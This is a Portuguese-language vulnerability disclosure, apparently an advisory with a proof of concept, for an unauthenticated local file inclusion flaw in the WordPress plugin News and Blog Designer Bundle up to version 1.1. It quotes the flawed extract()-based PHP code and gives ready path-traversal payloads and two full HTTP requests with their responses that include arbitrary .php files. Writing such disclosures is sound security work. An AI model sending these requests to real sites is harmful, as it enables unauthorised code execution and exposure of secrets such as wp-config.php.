
O plugin News and Blog Designer Bundle para WordPress, em todas as versões até 1.1 (inclusive), apresenta uma vulnerabilidade de inclusão local de arquivos (LFI) causada pelo parâmetro template. Essa vulnerabilidade permite que um atacante não autenticado inclua e execute arquivos .php arbitrários no servidor, executando assim qualquer código PHP presente nesses arquivos. Em cenários onde o upload e a inclusão de arquivos do tipo .php são permitidos, o atacante pode explorar essa vulnerabilidade para contornar controles de acesso, obter dados sensíveis ou alcançar execução de código.
Tipo de Vulnerabilidade: Inclusão Local de Arquivo (Local File Inclusion, LFI)
Versões Afetadas: News and Blog Designer Bundle 1.1 e todas as versões anteriores
Gravidade: Alta
Complexidade do Ataque: Baixa (sem autenticação)
A vulnerabilidade principal está no método nbdb_fetch_more_post() do arquivo includes/class-nbdb-ajax.php.
sanitize_text_field(extract( $_POST['shrt_param'] ));
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
Problema 1: Uso inadequado da função extract()
A linha 31 do código apresenta um problema grave:
sanitize_text_field(extract( $_POST['shrt_param'] ));
extract() extrai as chaves do array como nomes de variáveis e os valores como valores de variáveis, diretamente para o escopo atualextract() é o número de variáveis extraídas com sucesso (inteiro), e não o próprio arraysanitize_text_field() espera receber um argumento de string, mas aqui recebe um inteiroProblema 2: Falta de validação de parâmetros
A linha 33 usa diretamente a variável $template para construir o caminho do arquivo:
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template vem de extract($_POST['shrt_param']), totalmente controlada pela entrada do usuárioProblema 3: Apenas verifica a existência do arquivo
A linha 34 apenas verifica se o arquivo existe:
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
file_exists() apenas verifica se o arquivo existe, não valida a legitimidade do caminho$template, poderá realizar path traversal por meio de ../include($template_file), resultando em inclusão arbitrária de arquivosEm shortcodes/class-nbdb-shortcode.php, todas as funções de tratamento de shortcodes usam validação de lista de permissões:
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
nbdb_post_template() para obter a lista de templates permitidos (apenas template-1 e template-2)array_key_exists() para a validação de lista de permissõestemplate-1Isso prova que os desenvolvedores sabem como validar parâmetros corretamente, mas a validação foi omitida na função de tratamento AJAX.
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
wp_ajax_ e wp_ajax_nopriv_ são registrados simultaneamentewp_ajax_nopriv_ permite acesso de usuários não autenticados/wp-admin/admin-ajax.phpaction=nbdb_fetch_more_postshrt_param[template] (ex.: ../../../../wp-config)extract($_POST['shrt_param']), extraindo template como variávelNBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'file_exists() retorna trueinclude($template_file), incluindo e executando o arquivo PHP de destinowp-config.php).php (o sufixo .php está codificado no código)include() execute o arquivo incluído — a premissa para "conseguir ler" é que o próprio PHP incluído tenha saída visível (echo/print/erros/respostas de protocolo); caso contrário, você não verá o conteúdo.POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8
{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}